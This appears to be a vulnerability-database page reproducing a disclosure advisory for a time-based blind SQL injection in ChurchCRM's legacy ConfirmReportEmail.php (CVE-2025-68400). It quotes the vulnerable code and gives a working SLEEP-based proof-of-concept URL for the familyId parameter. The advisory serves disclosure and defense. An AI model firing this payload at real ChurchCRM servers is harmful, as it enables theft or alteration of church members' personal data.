Lucene search
K

📄 ChurchCRM SQL Injection

🗓️ 13 Apr 2026 00:00:00Reported by Łukasz RybakType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 71 Views

Critical time-based database injection in ChurchCRM ConfirmReportEmail.php via familyId; reachable.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for SQL Injection in Churchcrm
11 Apr 202619:13
githubexploit
CNNVD
ChurchCRM SQL注入漏洞
17 Dec 202500:00
cnnvd
CNVD
ChurchCRM legacy endpoint SQL injection vulnerability
19 Dec 202500:00
cnvd
CVE
CVE-2025-68400
17 Dec 202521:42
cve
Cvelist
CVE-2025-68400 ChurchCRM vulnerable to time-based blind SQL Injection in ConfirmReportEmail.php
17 Dec 202521:42
cvelist
EUVD
EUVD-2025-204001
17 Dec 202521:42
euvd
NVD
CVE-2025-68400
17 Dec 202522:16
nvd
OSV
CVE-2025-68400 ChurchCRM vulnerable to time-based blind SQL Injection in ConfirmReportEmail.php
17 Dec 202521:42
osv
Positive Technologies
PT-2025-51932
17 Dec 202500:00
ptsecurity
RedhatCVE
CVE-2025-68400
18 Dec 202522:37
redhatcve
Rows per page
# CVE-2025-68400: ChurchCRM vulnerable to time-based blind SQL Injection in ConfirmReportEmail.php
    
    ## Overview
    
    | Field | Details |
    |---|---|
    | **CVE ID** | [CVE-2025-68400](https://nvd.nist.gov/vuln/detail/CVE-2025-68400) |
    | **Severity** | CRITICAL |
    | **Advisory** | [View Advisory](https://github.com/ChurchCRM/CRM/security/advisories/GHSA-v54g-2pvg-gvp2) |
    | **Discovered by** | [Lukasz Rybak](https://github.com/lukasz-rybak) |
    
    ## Affected Products
    
    - **ChurchCRM/CRM**
    
    
    
    ## Details
    
    ### Summary
    
    A critical SQL Injection vulnerability exists in the legacy endpoint `/Reports/ConfirmReportEmail.php` in ChurchCRM 6.3.0. Although the feature was removed from the UI, the file remains deployed and reachable directly via URL. This is a classic case of *dead but reachable code*. Any authenticated user - including one with zero assigned permissions - can exploit SQL injection through the `familyId` parameter.
    
    ---
    
    ### Details
    
    The issue is located in:
    
    `src/Reports/ConfirmReportEmail.php`
    
    Vulnerable code (lines 82–83):
    
    ```php
    if (InputUtils::legacyFilterInput($_GET['familyId'], 'int')) {
        $sSubQuery = ' and fam_id in (' . $_GET['familyId'] . ') ';
    }
    ```
    
    Why this is vulnerable:
    
    - The return value of `legacyFilterInput()` is ignored entirely.
    - The raw `$_GET['familyId']` value is concatenated directly into a SQL query.
    - No escaping, quoting, type enforcement, or parameter binding is applied.
    - Because the endpoint is no longer referenced in the UI, it does not benefit from updated framework security controls.
    
    Dead but reachable endpoint:
    
    ```
    /Reports/ConfirmReportEmail.php?familyId=<value>
    ```
    
    Normal behavior:
    
    ```
    302 Redirect → /v2/family/<id>&PDFEmailed=
    ```
    
    Malicious payloads containing `)` or `--` break redirect logic and execute the vulnerable SQL.
    
    Even a user with **zero permissions** can exploit the vulnerability.  
    A `SLEEP(5)` payload reliably delays the response, proving SQL execution.
    
    ---
    
    ### PoC
    
    Authenticated user visits:
    
    ```
    http://localhost:8101/Reports/ConfirmReportEmail.php?familyId=1)%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)%20--%20-
    ```
    <img width="1552" height="757" alt="image" src="https://github.com/user-attachments/assets/cfa6e007-bbb0-41b4-9031-21e89ea7bf2e" />
    
    Observed result:
    
    - Response delayed by ~5 seconds → success.
    - Redirect suppressed.
    - Vulnerable SQL executed.
    
    sqlmap confirmation:
    
    <img width="2369" height="714" alt="image" src="https://github.com/user-attachments/assets/21d54831-8e0e-44e6-86d3-75234d78b40f" />
    
    ---
    
    ### Impact
    
    - Complete database compromise (read/write/delete)
    - Extraction of all sensitive ChurchCRM data
    - Possible privilege escalation
    - Potential for RCE depending on SQL functions and configuration
    - Vulnerable endpoint is reachable despite being removed from UI
    
    ## References
    
    - https://github.com/ChurchCRM/CRM/security/advisories/GHSA-v54g-2pvg-gvp2
    
    
    ## Disclaimer
    
    This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Apr 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.18.8
CVSS 49.3
EPSS0.00052
71